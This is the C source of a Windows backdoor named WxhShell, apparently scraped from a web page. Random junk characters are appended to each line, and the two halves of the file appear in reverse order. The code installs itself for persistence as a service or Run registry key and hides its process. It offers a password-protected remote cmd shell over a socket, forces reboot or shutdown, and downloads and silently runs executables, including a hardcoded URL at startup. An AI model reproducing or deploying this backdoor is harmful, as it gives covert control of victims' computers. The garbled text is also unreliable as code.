    if(Boot(SHUTDOWN)) h]4qJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$q"Kilj%  
    else { ;KG}Yr72  
    closesocket(wsh); !:~C/B{  
    ExitThread(0); 4$4Tx9C  
    } N9vNSmm  
    break; B5_QH8kt7  
    } P<9T.l  
  // 获取shell 24f N3  
  case 's': { kjr q;j:  
    CmdShell(wsh); 5nK|0vv%2  
    closesocket(wsh); @JOsG-VW~  
    ExitThread(0); iphdJZ/f  
    break; X.rbJyKe  
  } S)"vyGv  
  // 退出 McN'J. Sxp  
  case 'x': { ;cb='s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R^.c  
    CloseIt(wsh); [mF=<G"  
    break; 1Sv$!xX`n  
    } (D+%*ax  
  // 离开 e)i-$0L"  
  case 'q': { 5!6}g<z&L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E.yc"|n7l2  
    closesocket(wsh); vVo# nzeZ5  
    WSACleanup(); avqJ[R  
    exit(1); o/!a7>xO4  
    break; .o8pC  
        } =g=Vv"B_  
  } XLm@, A[  
  } _$v$v$74^  
0%3T'N%  
  // 提示信息 l_(4CimOZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l_2YPon  
} eT8h:+k  
  } &<C&(g{Z  
ry4:i4/[  
  return; b~K-mjJI  
} tgu fU  
<%oT}K\;  
// shell模块句柄 .r@'9W^8  
int CmdShell(SOCKET sock) jLBwPI_g  
{ ;giT[KK  
STARTUPINFO si; '9 <APUyu  
ZeroMemory(&si,sizeof(si)); l3kBt-m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zx5t gZd,N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; McU]U 9:z  
PROCESS_INFORMATION ProcessInfo; yy\d<-X~  
char cmdline[]="cmd"; AFNE1q;{\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f&Meiu+  
  return 0; &E!-~'|z  
} , p r ",=  
~Q 1%DV.  
// 自身启动模式 fOO[`"'Pq  
int StartFromService(void) 5W?r04  
{ %C*h/AW)'  
typedef struct FDRpK 5cw  
{ mg4: N  
  DWORD ExitStatus; c::Vh  
  DWORD PebBaseAddress; +JL"Z4b@R}  
  DWORD AffinityMask; *:V"C\`^n  
  DWORD BasePriority; %g%#=a;]q  
  ULONG UniqueProcessId; "8`f x  
  ULONG InheritedFromUniqueProcessId; {-\VX2:;[9  
}   PROCESS_BASIC_INFORMATION; gUxJ>~  
]]bL;vlw  
PROCNTQSIP NtQueryInformationProcess; V9kL\Ys  
<rFY$ ?x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ||k^pzj%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mo+HLN  
 fj])  
  HANDLE             hProcess; %y;Cgo[  
  PROCESS_BASIC_INFORMATION pbi; > 9wEx[  
Wtwh.\Jba  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y>[u(q&09O  
  if(NULL == hInst ) return 0; uia-w^F e  
R%N&Y~zH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ``mW\=fe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `l95I7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u!&Vbo? .B  
NbnuQPb'  
  if (!NtQueryInformationProcess) return 0; E`SFr  
?$xZ$zW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S_B;m1  
  if(!hProcess) return 0; !jxz2Q  
za20Y?)[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T!N,1"r  
wA<#E6^vG  
  CloseHandle(hProcess); k;pTOj  
g^DPb pWxu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 85 tQHm6j  
if(hProcess==NULL) return 0; !fcr3x|Y~M  
QNH5Cq;Y  
HMODULE hMod; T=w5FT  
char procName[255]; agFWye  
unsigned long cbNeeded;  w|>O!]K]  
L{\au5-4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4W9#z~'  
QX'/PO  
  CloseHandle(hProcess); 8L<GAe  
^ cn)eA  
if(strstr(procName,"services")) return 1; // 以服务启动 6 ztM(2[  
m4~Co*]w  
  return 0; // 注册表启动 1dF=BR8  
} 6* /o  
F$FCfP7  
// 主模块 r~uWr'}a}  
int StartWxhshell(LPSTR lpCmdLine) yU~OfwQ  
{ lk6*?EJ  
  SOCKET wsl; ruLi "d  
BOOL val=TRUE; c"3 a,&  
  int port=0; EF?@f{YY$n  
  struct sockaddr_in door; )} y1  
2c.~cNx`q[  
  if(wscfg.ws_autoins) Install(); L "L@4 B  
)IGE2k|  
port=atoi(lpCmdLine); hmOhXE[ a&  
aU3 m{pE  
if(port<=0) port=wscfg.ws_port; 2bS)|#v<_t  
:cmfy6h]  
  WSADATA data; z F'{{7o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xr) Rx{)3h  
XX5 ):1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uuzDu]Gwu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kn_%'7  
  door.sin_family = AF_INET; 5r qjqfFa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O&=?,zLO[  
  door.sin_port = htons(port); 93yJAao9  
q79)nhC F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lM C4j  
closesocket(wsl); w8*+l0  
return 1; @4 m_\]Wy  
} jYet!l  
P.P3/,  
  if(listen(wsl,2) == INVALID_SOCKET) { 5@"&%8oeq0  
closesocket(wsl); *Wv]DV=\  
return 1; ,ijgqEN  
} FS r`Y  
  Wxhshell(wsl); [1'`KJ]  
  WSACleanup();  gM20n^  
G6xdGUM  
return 0; |C@)#.nm[  
FfN==2:b  
} ~zFs/(k  
}`4o+  
// 以NT服务方式启动 LbtcZ)D!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dg/&m*Yl  
{ L@w|2  
DWORD   status = 0; AZxx%6  
  DWORD   specificError = 0xfffffff; Gd`qZqx#  
)JTh=w4n|z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d:O>--$_tw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?@l9T)fF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5.#r\' Z#  
  serviceStatus.dwWin32ExitCode     = 0; {Q?AIp6u|  
  serviceStatus.dwServiceSpecificExitCode = 0; X3I\O,"I  
  serviceStatus.dwCheckPoint       = 0; [a\:K2*'  
  serviceStatus.dwWaitHint       = 0; <DiD8")4  
[[QrGJr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cu]2`DF  
  if (hServiceStatusHandle==0) return; FZz\z p  
RG[3LX/  
status = GetLastError(); w"bQxS~$y  
  if (status!=NO_ERROR) 5[esW  
{ m;lwMrY\7>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  |X`xJL  
    serviceStatus.dwCheckPoint       = 0; D|,d_W  
    serviceStatus.dwWaitHint       = 0; CN\SxK`,  
    serviceStatus.dwWin32ExitCode     = status; xZjD(e'  
    serviceStatus.dwServiceSpecificExitCode = specificError; |Rw0$he  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C 7YZ;{t  
    return; b4!(~"b.  
  } AYd7qx:~  
0tm%Kd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :S0r)CNP  
  serviceStatus.dwCheckPoint       = 0; rAwq$!xx  
  serviceStatus.dwWaitHint       = 0; JSt%L|}Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tX cc#!'4C  
} v&i M/pJU  
u}D.yI8  
// 处理NT服务事件,比如:启动、停止 3/>McZ@OH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Byyus[b'A  
{ -7*,}xV  
switch(fdwControl) nZhL  
{ GptJQ=pV  
case SERVICE_CONTROL_STOP: [#kfl  
  serviceStatus.dwWin32ExitCode = 0; #QQ\xj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QQ!%lbMK]  
  serviceStatus.dwCheckPoint   = 0; abuHu'73  
  serviceStatus.dwWaitHint     = 0; CtV$lXxup  
  { AtYe\_9$C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HlBw:D(z:^  
  } !`hjvJryw  
  return; {N[IjY  
case SERVICE_CONTROL_PAUSE: Gn #5zx#l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?ah-x""Y  
  break; q-eC=!#}  
case SERVICE_CONTROL_CONTINUE: k/=J<?h0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &OK(6o2m;  
  break; BhLYLlXPY  
case SERVICE_CONTROL_INTERROGATE: FF6[qSV  
  break; =Bi>$Ly  
}; ]8*g%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :"g^y6i  
} XU5/7 .  
mS6 #\'Qa  
// 标准应用程序主函数 ~tn*y4uK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O9oYuC:q  
{ v#@"Evh7  
T|Sz~nO}f  
// 获取操作系统版本 Uc>kCBCd  
OsIsNt=GetOsVer(); ,>V|%tD'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ++-HdSHY  
nZ>qM]">u  
  // 从命令行安装 8]]uk=P  
  if(strpbrk(lpCmdLine,"iI")) Install(); "n," >  
tm@&f  
  // 下载执行文件 [0El z@.C  
if(wscfg.ws_downexe) { |sMRIW,P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TDs=VTd@Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); \Pi\c~)Pr  
} qxf!]jm  
& V^ Z  
if(!OsIsNt) { fPZt*A__  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Xoif"  
HideProc(); IP7j)SM!  
StartWxhshell(lpCmdLine); ci0)kxUBF  
} f <fa +fB  
else x :\+{-  
  if(StartFromService()) 0f&B;?)!  
  // 以服务方式启动 a\ fG)Fqp  
  StartServiceCtrlDispatcher(DispatchTable); +%7v#CY &  
else LQ`s>q  
  // 普通方式启动 zflfV!vAg  
  StartWxhshell(lpCmdLine); SE.r 'J0  
d00#;R  
return 0; rn $a)^!  
} njtz,qt_;G  
O;z:?  
y$|%K3  
T\I}s"d  
=========================================== ;>np2K<`  
[Gop-Vi/~  
H )hO/1 m  
v/*}M&vo  
y iO!ZT  
^\ A[^' 9  
" DXBc 7J  
<*EMcZ  
#include <stdio.h> mivb}cKM  
#include <string.h> O 7RIcU  
#include <windows.h> a?jUm.  
#include <winsock2.h> J!Er%QUR  
#include <winsvc.h> w^z5O6   
#include <urlmon.h> SQ8xfD*  
\~ m\pf?  
#pragma comment (lib, "Ws2_32.lib") v e($l"T  
#pragma comment (lib, "urlmon.lib") ?lq  
(StX1g'  
#define MAX_USER   100 // 最大客户端连接数 8C]K36q  
#define BUF_SOCK   200 // sock buffer [ )3rc}:1  
#define KEY_BUFF   255 // 输入 buffer x1]J  
EP,j+^RVf  
#define REBOOT     0   // 重启 6{y7e L3!  
#define SHUTDOWN   1   // 关机 d. wGO]"  
vA/SrX.  
#define DEF_PORT   5000 // 监听端口 qT$k%(  
i.Rl&t  
#define REG_LEN     16   // 注册表键长度 }%_|k^t  
#define SVC_LEN     80   // NT服务名长度 ] 3{t}qY$A  
/t0L%jJZ  
// 从dll定义API 7ftn gBv?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  )d2Z g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rOSov"7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  =_dM@j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .k,j64 r  
C}8#yAS9M  
// wxhshell配置信息 4[gmA  
struct WSCFG { u&:N`f  
  int ws_port;         // 监听端口 cc[(w #K  
  char ws_passstr[REG_LEN]; // 口令 ${ {4L ?7  
  int ws_autoins;       // 安装标记, 1=yes 0=no <Vhd4c  
  char ws_regname[REG_LEN]; // 注册表键名 {"ST hTZ  
  char ws_svcname[REG_LEN]; // 服务名 6@N,'a8r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fz7t84g(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,;g%/6X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ],]Rv#`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cJ4My#w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o :d7IL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cbJgeif  
{iD/0q  
}; Fw<"]*iu  
Q0xO;20  
// default Wxhshell configuration kKyU?/aj  
struct WSCFG wscfg={DEF_PORT, 4=yzf  
    "xuhuanlingzhe", ,!:c6F+  
    1, YdhTjvx  
    "Wxhshell", ea 3w  
    "Wxhshell", *qpu!z2m||  
            "WxhShell Service", ^j<v~GT x+  
    "Wrsky Windows CmdShell Service", R]"Zv'M(AM  
    "Please Input Your Password: ", )d3 09O  
  1, 8+'}`  
  "http://www.wrsky.com/wxhshell.exe", =3bk=vy  
  "Wxhshell.exe" n8,%<!F^  
    }; HWjJ.;k}a  
1w>[&#7  
// 消息定义模块 {<-s&%/r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j\uZo.Ot+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; scV%p&{a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7P{= Pv+  
char *msg_ws_ext="\n\rExit."; S@,/$L  
char *msg_ws_end="\n\rQuit."; l#0zHBc  
char *msg_ws_boot="\n\rReboot..."; gfL :SP8  
char *msg_ws_poff="\n\rShutdown..."; Igo`\JY  
char *msg_ws_down="\n\rSave to "; (qA F2&  
|O8e;v72g^  
char *msg_ws_err="\n\rErr!"; 6qZQ20h  
char *msg_ws_ok="\n\rOK!"; 9wL2NC31Q  
 Q6 *n'6  
char ExeFile[MAX_PATH]; Zo=,!@q(  
int nUser = 0; ?'V78N sA  
HANDLE handles[MAX_USER]; 4phCn5  
int OsIsNt; D^r g-E[L  
r]e{~v/  
SERVICE_STATUS       serviceStatus; 1]} \h]*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ijh RSrCv  
Q=Q+*oog  
// 函数声明 +wQ5m8E  
int Install(void); 8r( Vz  
int Uninstall(void); Q4mtfpiDx  
int DownloadFile(char *sURL, SOCKET wsh); (u?s@/e:`/  
int Boot(int flag); #A>*pF  
void HideProc(void); I gJu/{:y^  
int GetOsVer(void); -l=C7e  
int Wxhshell(SOCKET wsl); #c|l|Xvq2  
void TalkWithClient(void *cs); Zl5DlRuw  
int CmdShell(SOCKET sock); P}6#s'07~  
int StartFromService(void); KE\>T:  
int StartWxhshell(LPSTR lpCmdLine); :lu!%p<$  
v8-szW).  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @;EQ{d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3n2^;b/]  
VmQ^F| {  
// 数据结构和表定义 RlfI]uCDM  
SERVICE_TABLE_ENTRY DispatchTable[] = i%yKyfD  
{ %[n5mF*`  
{wscfg.ws_svcname, NTServiceMain}, %\it4 r3  
{NULL, NULL} Qe~C}j%  
}; eGMw:H  
{:cGt2*~^  
// 自我安装 D u<P^CE  
int Install(void) -Ua5anzB  
{ 42 `Uq[5Y  
  char svExeFile[MAX_PATH]; 3@F U-k,i  
  HKEY key; T3b0"o27  
  strcpy(svExeFile,ExeFile); 0o/;cBH  
`c:r`Oi?  
// 如果是win9x系统,修改注册表设为自启动 IlEU6Rs  
if(!OsIsNt) { mcwd2)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n_sV>$f-u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?r;F'%N=  
  RegCloseKey(key); 2Jo|P A` 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :MDFTw~|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $jk4H+H-  
  RegCloseKey(key); zRh)q,Dt  
  return 0; ?(s9dS,7wZ  
    } :Nz TEK  
  } aeMj4|{\  
} FkMM>X  
else { L `2{H%J`  
&*Z)[Bl  
// 如果是NT以上系统,安装为系统服务 xqT} 9,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x>i =  
if (schSCManager!=0) :4:U\k;QwA  
{ B <Jxj  
  SC_HANDLE schService = CreateService ^g'uR@uU  
  ( EhW@iYL  
  schSCManager, o &b\bK%E  
  wscfg.ws_svcname, V\Lh(zPt  
  wscfg.ws_svcdisp, |}l/6WHB  
  SERVICE_ALL_ACCESS, MDpx@.A,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?zo7.R-Vac  
  SERVICE_AUTO_START, s$^ 2Cuhv  
  SERVICE_ERROR_NORMAL, vSQB~Vw8 t  
  svExeFile, H1 ev W  
  NULL, Lxa<zy~b  
  NULL,  X56.Y.  
  NULL, T5[(vTp  
  NULL, @ /e{-Q  
  NULL %AMF6l[  
  ); b^Do[o}5  
  if (schService!=0) 787i4h:71  
  { y_IF{%i  
  CloseServiceHandle(schService); * se),CP!s  
  CloseServiceHandle(schSCManager); @M*5q# s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <SRSJJR|(  
  strcat(svExeFile,wscfg.ws_svcname); [c>YKN2qa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i piS=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -z/>W+k  
  RegCloseKey(key); o>M&C X+j$  
  return 0; ?f6Fj  
    } mqQ//$Y   
  } CfLPs)\ACm  
  CloseServiceHandle(schSCManager); YZ0Q?7l7  
} =rNI&K_<  
} l%cE o`U  
cT JG1'm  
return 1; _t7aOH  
} r-}C !aF]  
4!+IsT  
// 自我卸载 B?XqH_=0L  
int Uninstall(void) %tz foiJ%P  
{ _'r&'s;<z  
  HKEY key; 62OZj%CXN  
d _Y7/_i  
if(!OsIsNt) { j|WN!!7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !uHVg(}  
  RegDeleteValue(key,wscfg.ws_regname); 6[% 4 Q[  
  RegCloseKey(key); Gy[m4n~Z5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nrZZkQNI  
  RegDeleteValue(key,wscfg.ws_regname); JLxAk14lc  
  RegCloseKey(key); P_c9v/  
  return 0; oGZ%w4T  
  } OEgp!J  
} 8z"*CJ@  
} "M:0lUy  
else { ,dk!hm u  
a^GJR]] {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &Sp2['a!  
if (schSCManager!=0) "f`{4p0v  
{ arj?U=zy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  F| O  
  if (schService!=0) w>gB&59r  
  { 1A\N$9Dls  
  if(DeleteService(schService)!=0) { g~$cnU  
  CloseServiceHandle(schService); @ **]o  
  CloseServiceHandle(schSCManager); 0W >,RR)  
  return 0; eB*0})  
  } kEM|;&=_  
  CloseServiceHandle(schService); NXDuO_#  
  } +/~;y{G..z  
  CloseServiceHandle(schSCManager); %FO# j6  
} 9TbRrS09  
} qUtlh,4)  
jAb R[QR1%  
return 1; UB1/0o  
} \B~}s}  
%Y//}  
// 从指定url下载文件 %oE3q>S$en  
int DownloadFile(char *sURL, SOCKET wsh) .+ g8zbD4  
{ DF!*S{)  
  HRESULT hr; LL^WeD_Y  
char seps[]= "/"; :NPnwX8w  
char *token; aaM76;  
char *file; e2l!L*[g  
char myURL[MAX_PATH]; K _sHZ  
char myFILE[MAX_PATH]; =Hwlo!  
gG6j>%y  
strcpy(myURL,sURL); \bPSy0  
  token=strtok(myURL,seps); (7_}UT@w-  
  while(token!=NULL) 7[?{wbq  
  { V1Opp8  
    file=token; -3On^Wj]  
  token=strtok(NULL,seps); Zw<\^1  
  } DqGm  
{ vOr'j@  
GetCurrentDirectory(MAX_PATH,myFILE); z->[:)c  
strcat(myFILE, "\\"); 6<h ==I   
strcat(myFILE, file); ~y.t amNW  
  send(wsh,myFILE,strlen(myFILE),0); a08`h.dyN  
send(wsh,"...",3,0); %DR8M\d1~H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aBonq]W  
  if(hr==S_OK) Td/J6Q9 0  
return 0; yO`HL'SMo  
else AeN$AqQd/  
return 1; K{WLo5HP  
Ri mz~}+  
} \&Zp/;n  
mxfmK +'_  
// 系统电源模块 84eqT[I'  
int Boot(int flag) kMP3PS  
{ 'Wz`P#/  
  HANDLE hToken; o1zKns?  
  TOKEN_PRIVILEGES tkp; gONybz6]  
@n Oj6b  
  if(OsIsNt) { -.=:@H}r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vle`#c.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g#/"3P2 H  
    tkp.PrivilegeCount = 1; .L#U^H|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?|NMJ Qsa7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JULns#tx}  
if(flag==REBOOT) { f\U(7)2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O-jpS?@  
  return 0; n/Fx2QC{  
} 2M o oqJp  
else { ]u<8j r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gql^Inx<  
  return 0; &=S<StH  
} la}Xo0nq0+  
  } 0hr4}FL8  
  else { /fDXO;tN  
if(flag==REBOOT) { T1[B*RwC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F9PXQD(  
  return 0; o@47WD'm  
} G~nQR qv  
else { UsQh+W"?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /=IBK`  
  return 0; 3 =-XA2zJ  
} cfhiZ~."T  
} #)b0&wyW6i  
>%1mx\y^  
return 1; T7qE 2  
} 3EO:Uk5<   
*aaK_=w  
// win9x进程隐藏模块 h= Mmd  
void HideProc(void) p|9Eue3j2  
{ R.P|gk  
yp l`vJ]X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PDNbhUAV  
  if ( hKernel != NULL ) _oAWj]~rO  
  { YG K7b6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '<-F3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @tzL4hy%^j  
    FreeLibrary(hKernel); 26B+qXEt  
  } Tx:S{n7&  
'Hv=\p4$1  
return; Pe?=M[u2  
} D7|qFx;]g  
y*H rv  
// 获取操作系统版本 4D=^24f`0  
int GetOsVer(void) 8d1r#sILI  
{ zr@H Yl  
  OSVERSIONINFO winfo; 1)v]<Ga~%1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `/RcE.5n\@  
  GetVersionEx(&winfo); w 21g&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CXd/M~:!  
  return 1; ,.]1N:   
  else 4RL0@)0F  
  return 0; UiQF4Uc"  
} iTc q=  
/7LAd_P6  
// 客户端句柄模块 |f{(MMlj  
int Wxhshell(SOCKET wsl) 8Os: SC@Q  
{ d:3OC&  
  SOCKET wsh; aW*8t'm;m'  
  struct sockaddr_in client; ,-`A6ehg  
  DWORD myID; 12LGWhDp  
/zg|I?$>Z4  
  while(nUser<MAX_USER) 8fWk C<f}  
{ Ex -?[Hq  
  int nSize=sizeof(client); <_3OiU= w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lN~u='Kc  
  if(wsh==INVALID_SOCKET) return 1; v ocWV/  
|3P dlIbO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QE4TvnhK  
if(handles[nUser]==0) ^,{ r[}  
  closesocket(wsh); RN"Ur'+  
else N6%M+R/Q  
  nUser++; 3nX={72<b  
  } vs(x;zpJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |TCg`ZS`cZ  
Q i\"b  
  return 0; e6uVUzP4  
} z;6,,  
6:qh%ZR  
// 关闭 socket :x36Z4:  
void CloseIt(SOCKET wsh) 7q'T,'[  
{ Qs;MEt1  
closesocket(wsh); \Ea(f**2B  
nUser--; [ .c'22R6  
ExitThread(0); {qL}:ha?  
} C^nTLw;K  
!Yu|au  
// 客户端请求句柄 {=<m^ 5b9  
void TalkWithClient(void *cs) _p\O!y  
{ .|<+-Rsj  
wv&#lM(  
  SOCKET wsh=(SOCKET)cs; ?qR11A};tG  
  char pwd[SVC_LEN]; c<]~q1  
  char cmd[KEY_BUFF]; 41NVF_R6J  
char chr[1]; hO0g3^  
int i,j; K#4Toc#=V  
A,]%*kg2  
  while (nUser < MAX_USER) { B dKD%CJ[  
W;!)Sj4<T!  
if(wscfg.ws_passstr) { 0=V -{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KIYs[0*k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f'%Pkk  
  //ZeroMemory(pwd,KEY_BUFF); N Ah^2X  
      i=0; ,'>O#kD  
  while(i<SVC_LEN) { tLo_lLn*~%  
N=~aj7B%  
  // 设置超时 w^8i!jCy  
  fd_set FdRead; L1YiXJ,T,  
  struct timeval TimeOut; y$U(oIU>  
  FD_ZERO(&FdRead);  NH0uK  
  FD_SET(wsh,&FdRead); ! ,&{1p  
  TimeOut.tv_sec=8; 98LyzF9  
  TimeOut.tv_usec=0; ^@OdY& 5^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %#iu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pT'jX^BU  
O7lFg;9c`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x f<wM]&  
  pwd=chr[0]; i16kPU  
  if(chr[0]==0xd || chr[0]==0xa) {  95l)w  
  pwd=0; 0UOjk.~b  
  break; 6Eyinv  
  } NGVl/Qd  
  i++; QZv}\C-c  
    } `PS>"-AY2  
5`p>BJ+n  
  // 如果是非法用户,关闭 socket HMqR%A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F P>.@ Y  
} U *:E|'>  
J+r:7NvZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 17F<vo>l%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r>cN,C  
E_T!|Q.  
while(1) { |(3"_  
t$g@+1p4  
  ZeroMemory(cmd,KEY_BUFF); B/Z-Cpz]  
S<eB&qT$  
      // 自动支持客户端 telnet标准   HMmB90P`  
  j=0; JasA w7  
  while(j<KEY_BUFF) {  D`3`5.b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); do:IkjU~  
  cmd[j]=chr[0]; -mw`f)?Ev  
  if(chr[0]==0xa || chr[0]==0xd) { /X%+z5  
  cmd[j]=0; ip!-~HNwJ  
  break; #jM-XK  
  } 45;ey }8  
  j++; 0sI7UK`m  
    } bXk(wXX  
3<HZ)w^B  
  // 下载文件 q5{h@}|M  
  if(strstr(cmd,"http://")) { sW@_' Lw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "{[\VsX|c  
  if(DownloadFile(cmd,wsh)) nXw98;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w|c200Is}e  
  else oS^KC}X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %rJ 'DPs  
  } !cW!zP-B*p  
  else { ><I{R|bC  
}:57Ym)7w  
    switch(cmd[0]) { <iB5&  
